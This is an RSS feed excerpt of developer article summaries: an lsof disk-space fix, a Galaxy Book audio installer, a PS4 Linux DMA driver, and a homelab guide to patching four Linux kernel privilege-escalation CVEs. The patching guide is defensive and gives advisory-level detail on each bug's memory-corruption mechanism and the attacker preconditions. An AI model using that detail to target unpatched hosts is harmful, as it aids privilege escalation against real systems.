&lt;li&gt;Demo: &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;https://demo.waf.chaitin.com:9443/statistics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Official docs: &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;https://docs.waf.chaitin.com/en/home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GitHub: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;https://github.com/chaitin/SafeLine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Pro offer: &lt;a rel=&quot;nofollow&quot; href=&quot;https://cyberserval.tech/landing/lto&quot;&gt;https://cyberserval.tech/landing/lto&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/32927/why-i-check-the-host-before-the-official-linux-waf-manager-script</guid>
<pubDate>Thu, 29 Oct 2026 04:36:46 +0000</pubDate>
</item>
<item>
<title>The log was deleted. Its 48M was still allocated.</title>
<link>https://coderlegion.com/30657/the-log-was-deleted-its-48m-was-still-allocated</link>
<description>&lt;p&gt;A 64M scratch tmpfs, a worker process holding its log open on file descriptor 3, and the usual reflex when space runs low: &lt;code&gt;rm&lt;/code&gt; the log. &lt;code&gt;du&lt;/code&gt; on the directory dropped from 48M to 0. &lt;code&gt;df&lt;/code&gt; stayed at 48M used. The next 32M write failed with &lt;code&gt;No space left on device&lt;/code&gt;, and &lt;code&gt;df&lt;/code&gt; read 100% while &lt;code&gt;du&lt;/code&gt; found only the 16M that had been written.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rm&lt;/code&gt; removes a name. The kernel frees the blocks only when no names are left and no process has the file open, and the worker still had it open. &lt;code&gt;lsof +L1&lt;/code&gt; lists exactly those files:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;$ lsof -w +L1 /srv
COMMAND    PID USER FD   TYPE DEVICE SIZE/OFF NLINK NODE NAME
sleep   608657 root 3w   REG   0,78 50331648     0    3 /srv/app/worker.log (deleted)
exit=0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;NLINK 0&lt;/code&gt;, &lt;code&gt;(deleted)&lt;/code&gt;, 48M held for writing by PID 608657. Truncating through the process's own descriptor, &lt;code&gt;: &amp;gt; /proc/608657/fd/3&lt;/code&gt;, took &lt;code&gt;df&lt;/code&gt; back to 25% while the process kept running.&lt;/p&gt;
&lt;p&gt;Next time, empty a live log with &lt;code&gt;: &amp;gt; file&lt;/code&gt; instead of deleting it. With an append-mode writer (&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;) that is clean. A writer that opened with &lt;code&gt;&amp;gt;&lt;/code&gt; keeps its old offset: in the same test, its log came back as a 17M sparse file with 1.0M on disk.&lt;/p&gt;
&lt;p&gt;Finding which process holds a port or a busy mount, plus a script that groups deleted-but-open files and totals them, is on the &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/snippets/lsof-command-examples&quot;&gt;lsof command examples page&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30657/the-log-was-deleted-its-48m-was-still-allocated</guid>
<pubDate>Wed, 28 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>From Silence to Sound: Fixing Audio on Ubuntu Linux on my Samsung Galaxy Book</title>
<link>https://coderlegion.com/32587/from-silence-to-sound-fixing-audio-on-ubuntu-linux-on-my-samsung-galaxy-book</link>
<description>&lt;p&gt;Over four days. That’s how long I spent trying to get the internal speakers on my Samsung Galaxy Book2 (NT950XDA) to produce a single sound after switching from Windows to Ubuntu.&lt;/p&gt;
&lt;p&gt;And I wasn’t alone.&lt;/p&gt;
&lt;h3 id=&quot;the-problem&quot;&gt;The Problem&lt;/h3&gt;
&lt;p&gt;Right out of the box, Ubuntu (even the latest 24.04) doesn’t play well with the Realtek ALC298 audio codec on many Samsung Galaxy Book devices. Headphones might work, but internal speakers remain silent due to uninitialized smart speaker amps.&lt;/p&gt;
&lt;p&gt;I found myself crawling through obscure forum posts, GitHub issues, and deep dmesg logs. I came across broken workarounds, kernel parameters, even dead-end firmware downloads. Nothing stuck — until I discovered a promising thread from the Manjaro community and a early work of @&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/joshuagrisham/samsung-galaxybook-extras&quot;&gt;joshuagrisham&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;the-breakthrough&quot;&gt;The Breakthrough&lt;/h3&gt;
&lt;p&gt;The answer turned out to be &lt;code&gt;hda-verb&lt;/code&gt;, a tool for sending manual codec commands to initialize the amp. After copying dozens of lines of hda-verb commands into a script and running it manually, audio finally burst through my speakers.&lt;/p&gt;
&lt;p&gt;It worked—but only until the next reboot.&lt;/p&gt;
&lt;h3 id=&quot;the-automation&quot;&gt;The Automation&lt;/h3&gt;
&lt;p&gt;That’s when I decided to build a real solution:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Auto-run the fix at boot and after resume&lt;/li&gt;
&lt;li&gt;Avoid breaking any existing audio setups&lt;/li&gt;
&lt;li&gt;Use systemd services for reliability&lt;/li&gt;
&lt;li&gt;Keep it simple, safe, and open source&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;the-tool-galaxybook-linux-setup&quot;&gt;The Tool: galaxybook-linux-setup&lt;/h3&gt;
&lt;p&gt;Now available on GitHub: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/topzyray/galaxybook-linux-setup&quot;&gt;https://github.com/topzyray/galaxybook-linux-setup&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Initializes smart speaker amps via hda-verb&lt;/li&gt;
&lt;li&gt;Runs fix on boot + resume using systemd&lt;/li&gt;
&lt;li&gt;Disables PulseAudio's suspend-on-idle to prevent speaker freezing&lt;/li&gt;
&lt;li&gt;Backs up existing config files to avoid damage&lt;/li&gt;
&lt;li&gt;⚙️ Detects your current user and system safely&lt;/li&gt;
&lt;li&gt;MIT-licensed, contributions welcome&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Installation is as easy as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/topzyray/galaxybook-linux-setup.git
cd galaxybook-linux-setup
chmod +x install.sh
./install.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reboot when prompted, and you’re done. No more silent boots.&lt;/p&gt;
&lt;h3 id=&quot;who-this-might-helps&quot;&gt;Who This Might Helps&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Galaxy Book2 NT950XDA users or other device with similar &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/joshuagrisham/samsung-galaxybook-extras/issues/80&quot;&gt;issue or device/driver info&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Anyone with Realtek ALC298 codec and no speaker output&lt;/li&gt;
&lt;li&gt;Linux newcomers switching from Windows&lt;/li&gt;
&lt;li&gt;Ubuntu/Mint/Pop_OS/Manjaro users on 5.8+ kernels though I tested on 6.14.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;credit-where-due&quot;&gt;Credit Where Due&lt;/h3&gt;
&lt;p&gt;Joshua Grisham @joshuagrisham – &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/joshuagrisham/samsung-galaxybook-extras&quot;&gt;GitHub&lt;/a&gt;&lt;br&gt;
Community post from user @drlucas – &lt;a rel=&quot;nofollow&quot; href=&quot;https://forum.manjaro.org/t/howto-set-up-the-audio-card-in-samsung-galaxy-book/37090&quot;&gt;Manjaro Forum&lt;/a&gt;&lt;br&gt;
Access hda-ver used &lt;a rel=&quot;nofollow&quot; href=&quot;https://pastebin.com/raw/zsXp2vz6&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-bigger-picture&quot;&gt;The Bigger Picture&lt;/h3&gt;
&lt;p&gt;This project reminded me why open source matters. Without the knowledge of those before me, I’d still be rebooting into silence.&lt;/p&gt;
&lt;p&gt;Now, I’m extending this to include fingerprint readers, screen brightness fixes, and more for Galaxy Book users and I will also be testing on other devices. Please you can test too. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE: The script does not delete any file rather it create a backup whenever updating an existing file.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Have a similar issue? Found this useful? Contribute, fork, share, or open an issue!&lt;/p&gt;
&lt;p&gt; Repo: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/topzyray/galaxybook-linux-setup&quot;&gt;https://github.com/topzyray/galaxybook-linux-setup&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you have further question, suggestion or observations please leave them in the comment section. Thank you for reading.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/32587/from-silence-to-sound-fixing-audio-on-ubuntu-linux-on-my-samsung-galaxy-book</guid>
<pubDate>Mon, 26 Oct 2026 19:05:37 +0000</pubDate>
</item>
<item>
<title>Patch These Four Linux Kernel Local Root Vulns Now: DirtyAH6, PPPoEject, TUNderflow, and DiagSpill</title>
<link>https://coderlegion.com/32434/patch-these-four-linux-kernel-local-root-vulns-dirtyah6-pppoeject-tunderflow-diagspill</link>
<description>&lt;p&gt;&lt;em&gt;Originally published at &lt;a rel=&quot;nofollow&quot; href=&quot;https://codewithromi.com/patch-these-four-linux-kernel-local-root-vulns-now-dirtyah6-pppoeject-tunderflow-and-diagspill/&quot;&gt;codewithromi.com&lt;/a&gt;.&lt;/em&gt;&lt;br&gt;
Four Linux kernel vulnerabilities went public on 18 September 2026, and they are the kind you should not sit on. DirtyAH6 (CVE-2026-80844), PPPoEject (CVE-2026-68121), TUNderflow (CVE-2026-81000) and DiagSpill (CVE-2026-74469) are all local privilege escalation bugs, meaning an attacker or malicious process with a foothold on your machine can escalate to root. Working proof of concept exploits for all four are public. If you are running Proxmox, a Raspberry Pi, or any self-hosted Linux node, this is a patching weekend.&lt;/p&gt;
&lt;p&gt;Security researcher Asim Manizada reported the four bugs in mid July 2026 and published a technical write-up plus working exploits on 18 September 2026, after a coordinated hold so distributions could ship fixes first. The &lt;a rel=&quot;nofollow&quot; href=&quot;https://seclists.org/oss-sec/2026/q3/822&quot;&gt;oss-security post&lt;/a&gt; and the accompanying &lt;a rel=&quot;nofollow&quot; href=&quot;https://heyitsas.im/posts/lpe-quartet/&quot;&gt;write-up&lt;/a&gt; carry the per-CVE detail. Upstream, the earliest stable releases that contain all four fixes are 5.10.270, 5.15.221, 6.1.188, 6.6.157, 6.12.109, 6.18.50 and 7.2.4. Note that the 7.0 series reached end of life on 27 June 2026, so a 7.0 kernel only carries these fixes if your vendor backported them.&lt;/p&gt;
&lt;h3 id=&quot;-why-this-matters-for-homelabbers&quot;&gt;💡 Why This Matters for Homelabbers&lt;/h3&gt;
&lt;p&gt;Local root exploits are often dismissed as &quot;low risk&quot; because they require existing access. That framing misses the threat model for homelabs and self-hosted infrastructure. If any service you run gets compromised, a web app, an LXC container with a shared kernel, or even a rogue package, a local root bug turns that into full node ownership.&lt;/p&gt;
&lt;p&gt;Proxmox LXC containers share the host kernel. A container breakout combined with a local priv-esc is a realistic attack chain. Raspberry Pi nodes running exposed services are in the same boat. Patch the kernel, then verify.&lt;/p&gt;
&lt;h3 id=&quot;-prerequisites-1&quot;&gt;🧰 Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;SSH or console access to each node&lt;/li&gt;
&lt;li&gt;sudo or root privileges&lt;/li&gt;
&lt;li&gt;A maintenance window, since patching requires a reboot&lt;/li&gt;
&lt;li&gt;Proxmox nodes: access to the Proxmox web UI or CLI for VM/container shutdown sequencing&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-step-by-step-patching-your-nodes&quot;&gt;🔧 Step-by-Step: Patching Your Nodes&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Check your current kernel version on every node so you know what you are starting from.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;uname -r
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note this output. You will compare it after the update to confirm the new kernel is running.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Update your package index and apply all available security updates. On Debian and Ubuntu based systems, including Proxmox and Raspberry Pi OS:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo apt update &amp;amp;&amp;amp; sudo apt full-upgrade -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On Proxmox specifically, you also want to pull from the Proxmox repositories. If you are on the no-subscription repo, this is already covered by the command above. Run &lt;code&gt;pveversion -v&lt;/code&gt; afterward to confirm the Proxmox packages are current too.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; If you are running Raspberry Pi OS, check the kernel package by its current name. On Bullseye and earlier the kernel shipped in the &lt;code&gt;raspberrypi-kernel&lt;/code&gt; package, but Raspberry Pi OS moved to Debian style &lt;code&gt;linux-image-rpi-*&lt;/code&gt; packages with Bookworm, so on a current install you want &lt;code&gt;linux-image-rpi-v8&lt;/code&gt; or &lt;code&gt;linux-image-rpi-2712&lt;/code&gt; depending on the board. The &lt;code&gt;apt full-upgrade&lt;/code&gt; command above will still catch it, but confirm with:&lt;/p&gt;
&lt;p&gt;On Bookworm and newer:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;apt-cache policy linux-image-rpi-v8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On Bullseye and older:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;apt-cache policy raspberrypi-kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &quot;Installed&quot; and &quot;Candidate&quot; versions should match after your upgrade. If they do not, run the upgrade again.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4:&lt;/strong&gt; Reboot to load the new kernel. This is not optional. The running kernel in memory is still the old one until you reboot.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;sudo reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For Proxmox hosts, shut down or migrate your VMs and containers before rebooting the host. Use the Proxmox web UI, or list what is running:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;qm list
pct list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then shut down each VM or container by its ID:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;qm shutdown [vmid]
pct shutdown [ctid]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 5:&lt;/strong&gt; After the reboot, confirm the new kernel is loaded:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;uname -r
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The version string should be newer than what you recorded in Step 1. Cross-reference it against your distro's security advisory to confirm the patched version is in place. For Debian, check &lt;a rel=&quot;nofollow&quot; href=&quot;https://security-tracker.debian.org/tracker/&quot;&gt;security-tracker.debian.org&lt;/a&gt;. For Ubuntu, check &lt;a rel=&quot;nofollow&quot; href=&quot;https://ubuntu.com/security/notices&quot;&gt;ubuntu.com/security/notices&lt;/a&gt;. For Raspberry Pi OS, check the &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.raspberrypi.com/news/&quot;&gt;Raspberry Pi blog and release notes&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-patch-status-checked-29-september-2026&quot;&gt;🛡️ Patch Status, Checked 29 September 2026&lt;/h3&gt;
&lt;p&gt;This is the part of the post that goes stale fastest, so here is a dated snapshot. Everything below was checked against the Debian security tracker, the Ubuntu CVE tracker and the Proxmox kernel changelog on 29 September 2026. Re-check before you decide you are covered.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Debian 13 trixie:&lt;/strong&gt; all four first fixed in linux 6.12.111-1, shipped as DSA-6528-1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Debian 12 bookworm:&lt;/strong&gt; DirtyAH6, PPPoEject and DiagSpill first fixed in linux 6.1.187-1 from bookworm-security. TUNderflow is the exception. The Debian tracker still lists bookworm as vulnerable, 6.1.187-1 included, so there is no fix for CVE-2026-81000 on bookworm yet.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ubuntu 22.04, 24.04 and 26.04:&lt;/strong&gt; at the time of this check the Ubuntu CVE tracker showed no released kernel for any of the four on the main &lt;code&gt;linux&lt;/code&gt; packages. They sit at needed or pending. Watch &lt;a rel=&quot;nofollow&quot; href=&quot;https://ubuntu.com/security/notices&quot;&gt;ubuntu.com/security/notices&lt;/a&gt; instead of assuming an upgrade fixed it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proxmox VE:&lt;/strong&gt; the Proxmox kernel changelog names only TUNderflow, first fixed in proxmox-kernel-7.0 version 7.0.14-19, released 18 September 2026. The newest build at the time of checking was 7.0.14-20 from 24 September 2026. The other three CVEs are not named anywhere in that changelog, and the Proxmox 7.0 kernel follows the Ubuntu kernel, which has not released them, so do not assume DirtyAH6, PPPoEject and DiagSpill are closed on a Proxmox host. Run &lt;code&gt;pveversion -v&lt;/code&gt; and compare against the changelog.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Raspberry Pi OS:&lt;/strong&gt; no Raspberry Pi OS kernel build carrying all four fixes could be confirmed at the time of this check. On the 6.12 branch you need 6.12.109 or newer for the full set, so check the installed package version rather than assuming.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-what-each-vulnerability-affects&quot;&gt;🛡️ What Each Vulnerability Affects&lt;/h3&gt;
&lt;p&gt;Here is what each bug actually is, taken from the disclosure and the researcher's write-up. Three of the four need &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt; in a network namespace the attacker controls, which an ordinary local user obtains by creating an unprivileged user namespace first. DiagSpill is the exception and needs no special privileges at all.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DirtyAH6 (CVE-2026-80844):&lt;/strong&gt; The IPv6 Authentication Header code in the IPsec and XFRM path does not check that a routing header's &lt;code&gt;segments_left&lt;/code&gt; field is no larger than the number of addresses actually present, so pointer arithmetic in &lt;code&gt;ipv6_rearrange_rthdr()&lt;/code&gt; walks out of bounds and an oversized &lt;code&gt;memmove()&lt;/code&gt; corrupts kernel memory. It needs AH6 and XFRM support plus &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt; and &lt;code&gt;CAP_NET_RAW&lt;/code&gt; in a namespace the attacker controls. The researcher also reports a remote crash, and in his own lab remote root, against a host acting as an IPv6 router that applies AH in transport mode.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PPPoEject (CVE-2026-68121):&lt;/strong&gt; A use after free in &lt;code&gt;pppoe_sendmsg()&lt;/code&gt;. The function holds a pointer into the socket buffer head across a &lt;code&gt;dev_hard_header()&lt;/code&gt; callback that can reallocate that head, then writes six bytes through the stale pointer. It needs a lower device whose header callback expands the buffer head, not merely a loadable PPPoE module, which makes it the narrowest of the four in practice.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TUNderflow (CVE-2026-81000):&lt;/strong&gt; The TUN/TAP driver stores a receive headroom value without bounding it. A device path that propagates oversized headroom (the proof of concept chains a netkit device through Open vSwitch to a raw TUN port) underflows a size calculation and leaves packet data 64 bytes past the end of the allocation. Simply having a TUN or TAP interface is not enough, you need that headroom propagation path. Worth correcting a common assumption here: Docker's default bridge networking uses veth pairs rather than TUN/TAP, and the in kernel WireGuard module is its own device type, so the usual homelab exposure is QEMU tap interfaces and OpenVPN style TUN devices, not containers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DiagSpill (CVE-2026-74469):&lt;/strong&gt; An SCTP association can hold up to 65,536 peer transports but the counter is 16 bits wide, so it wraps to zero at the limit. &lt;code&gt;sctp_diag&lt;/code&gt; then reserves buffer space based on the wrapped count and copies the full transport list anyway, writing roughly 8 MiB past the end of the response buffer. This one needs no capabilities and no user namespace, only SCTP and &lt;code&gt;sctp_diag&lt;/code&gt; support, which is what makes it the priority of the four.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DiagSpill is the one to move fastest on if you are triaging. It is the only one of the four that an ordinary local user can reach without creating a user namespace, which also means the usual advice to restrict unprivileged user namespaces does nothing for it. If you do not need SCTP, keep the module out of the kernel.&lt;/p&gt;
&lt;h3 id=&quot;-hardening-beyond-the-patch&quot;&gt;🛡️ Hardening Beyond the Patch&lt;/h3&gt;
&lt;p&gt;Patching is the fix, but a few additional controls reduce your exposure, which matters more than usual here because some distributions have not shipped all four yet. Restricting unprivileged user namespaces closes the ordinary user path to three of the four. It does nothing for DiagSpill.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Restrict unprivileged user namespaces:&lt;/strong&gt; Three of these four bugs need a user namespace for an ordinary local user to reach them. Ubuntu introduced AppArmor based restrictions in 23.10 and enabled them by default from 24.04, controlled by &lt;code&gt;kernel.apparmor_restrict_unprivileged_userns&lt;/code&gt;, so 24.04 and 26.04 are covered out of the box. Debian is not. The Debian and Ubuntu specific &lt;code&gt;kernel.unprivileged_userns_clone&lt;/code&gt; knob has been discussed for deprecation, so confirm it exists on your kernel with &lt;code&gt;sysctl -a | grep userns&lt;/code&gt; before relying on it; the portable upstream equivalent is &lt;code&gt;sysctl -w user.max_user_namespaces=0&lt;/code&gt;. Either way you will break things that legitimately use user namespaces, including Flatpak, rootless containers and browser sandboxes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use AppArmor or SELinux profiles:&lt;/strong&gt; Proxmox ships with AppArmor. Make sure it is enforcing for your LXC containers. Unprivileged containers with AppArmor confinement are significantly harder to break out of.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Limit local access:&lt;/strong&gt; Do not run untrusted code or expose shell access to untrusted users on these nodes. Local privesc only matters if someone or something local can trigger it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unload unused kernel modules:&lt;/strong&gt; If you are not using PPPoE or SCTP, keep both out. Add &lt;code&gt;blacklist pppoe&lt;/code&gt; and &lt;code&gt;blacklist sctp&lt;/code&gt; to a file in &lt;code&gt;/etc/modprobe.d/&lt;/code&gt; and run &lt;code&gt;update-initramfs -u&lt;/code&gt;. Blacklisting stops the on demand autoload that a socket call would trigger, and for DiagSpill that is the only mitigation short of patching, since restricting user namespaces does not touch it. Verify with &lt;code&gt;lsmod | grep -E 'pppoe|sctp'&lt;/code&gt; afterwards.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-troubleshooting-1&quot;&gt;🔧 Troubleshooting&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Kernel version did not change after reboot:&lt;/strong&gt; Your package manager may have the patched package available but it was not installed. Run &lt;code&gt;apt list --upgradable | grep linux-image&lt;/code&gt; to check, then install explicitly with &lt;code&gt;sudo apt install linux-image-[version]&lt;/code&gt; matching your architecture.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Proxmox node is stuck on an older kernel:&lt;/strong&gt; Proxmox sometimes pins the kernel for stability. Check &lt;code&gt;/etc/default/grub&lt;/code&gt; and the GRUB menu to ensure the new kernel is selected as default. Run &lt;code&gt;update-grub&lt;/code&gt; after confirming the package is installed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Raspberry Pi will not boot after upgrade:&lt;/strong&gt; This is rare but can happen if the bootloader and kernel fall out of sync. Boot from a backup SD card or use &lt;code&gt;rpi-update&lt;/code&gt; with caution, and check the Raspberry Pi OS forums for your specific board and OS version before using it.&lt;/p&gt;
&lt;h3 id=&quot;-wrap-up-1&quot;&gt;✅ Wrap Up&lt;/h3&gt;
&lt;p&gt;Four local root bugs in one disclosure batch is a bad day for Linux security. Updating and rebooting is the right move, but as of 29 September 2026 it is not the whole answer: Debian trixie has all four, Debian bookworm is still missing the TUNderflow fix, and Ubuntu has not released kernels for any of them. Prioritize DiagSpill, since it is the one an unprivileged local user can reach without a user namespace, and check the tracker for your distribution instead of assuming a fresh upgrade covered you.&lt;/p&gt;
&lt;p&gt;After you patch, take five minutes to check your other nodes. It is easy to forget a Raspberry Pi tucked behind the TV or a secondary Proxmox node you set up months ago. Cross-reference the patched kernel version against your distro's security tracker to make sure you are actually covered, not just up to date on packages.&lt;/p&gt;
&lt;p&gt;Stay subscribed to &lt;a rel=&quot;nofollow&quot; href=&quot;https://oss-security.openwall.org/wiki/mailing-lists/oss-security&quot;&gt;oss-sec&lt;/a&gt; if you want these disclosures in your inbox before they make the rounds on aggregators.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;related-from-the-lab&quot;&gt;Related from the lab&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://codewithromi.com/linux-kernel-security-gaps-why-your-homelab-isnt-safe-until-you-know-this/&quot;&gt;Linux Kernel Security Gaps: Why Your Homelab Isn't Safe Until You Know This&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://codewithromi.com/patching-dnsmasq-cves-securing-your-pi-hole-homelab-dns/&quot;&gt;Patching Dnsmasq CVEs: Securing Your Pi-hole &amp;amp; Homelab DNS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://codewithromi.com/crowdsec-community-powered-security/&quot;&gt;CrowdSec: Community-Powered Security&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/32434/patch-these-four-linux-kernel-local-root-vulns-dirtyah6-pppoeject-tunderflow-diagspill</guid>
<pubDate>Sun, 25 Oct 2026 23:46:09 +0000</pubDate>
</item>
<item>
<title>PS4 Pro Belize DDR3 patch v2</title>
<link>https://coderlegion.com/32257/ps4-pro-belize-ddr3-patch-v2</link>
<description>&lt;p&gt;The last time the DDR3 memory on PS4 pro has a critical problem it was capped under 11mb/s speed how much I tied I failed every time &lt;/p&gt;
&lt;p&gt;then I notice something while debugging through the southbridge well it turns out DDR3 has it's own southbridge DMA engine but I don't really notice at first.&lt;/p&gt;
&lt;p&gt;and after some more debugging it turns out my DDR3 chip &lt;em&gt;(1 GB on the southbridge)&lt;/em&gt; was being read by the CPU personally, 8 bytes at a time, through a tiny PCI window ~10.6 MB/s. and that was the main bottleneck of all.&lt;/p&gt;
&lt;p&gt;now it feels like I almost fix the issue but nope the southbridge DMA engine has no Linux driver for PS4 to use it.&lt;/p&gt;
&lt;p&gt;and after more debugging  it turns out Sony's PS4 gameOS aka orbis uses that chip (their sbram driver), but the code is closed. &lt;/p&gt;
&lt;p&gt;So, I used AI to reverse engineer the kernel binary and everything started making sense now&lt;/p&gt;
&lt;p&gt; &lt;em&gt;the chip lives at 0xC0000000 + offset on the internal bus and everything moves through the southbridge DMA engine with exact protocol byte-count, source, dest, then the 0x1d40 &quot;go&quot; register, and write 0x11 to the interrupt-mask register.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;after that it's time to do the main patch The implementation&lt;/p&gt;
&lt;p&gt;On the ps4linux it sees the southbridge DMA engine as a pci device: 104d:90cd. The driver asks linux for it, switches it on, and maps its register memory. Now the engine can't touch program memory directly. everything goes through one special buffer the driver allocates at startup a small chunk of RAM that is always below 4 GB and always coherent (DMA-visible) think of it as the loading dock between the CPU and the DDR3.&lt;/p&gt;
&lt;p&gt;After the patch bake into the kernel and the result &lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;old patch &lt;/th&gt;&lt;th&gt;new patch&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;reads   &lt;/td&gt;&lt;td&gt;10.6 MB/s &lt;/td&gt;&lt;td&gt;&lt;strong&gt;504 MB/s&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;writes  &lt;/td&gt;&lt;td&gt;~138 MB/s &lt;/td&gt;&lt;td&gt;&lt;strong&gt;425 MB/s&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ceiling &lt;/td&gt;&lt;td&gt;unknown   &lt;/td&gt;&lt;td&gt;&lt;strong&gt;~1.4 GB/s&lt;/strong&gt; (65,408 B jobs @ 1,383 MB/s)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;The engine itself moves data at up to ~1.4 GB/s. what used to be a 10.6 MB/s unusable brick is now a fast little swap chip on PS4linux&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/5jtjwqvdjlnpidtmpgn6.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/32257/ps4-pro-belize-ddr3-patch-v2</guid>
<pubDate>Sat, 24 Oct 2026 08:36:00 +0000</pubDate>
</item>
<item>
<title>New: Software Pays Hotel Owners</title>
<link>https://coderlegion.com/32206/new-software-pays-hotel-owners</link>
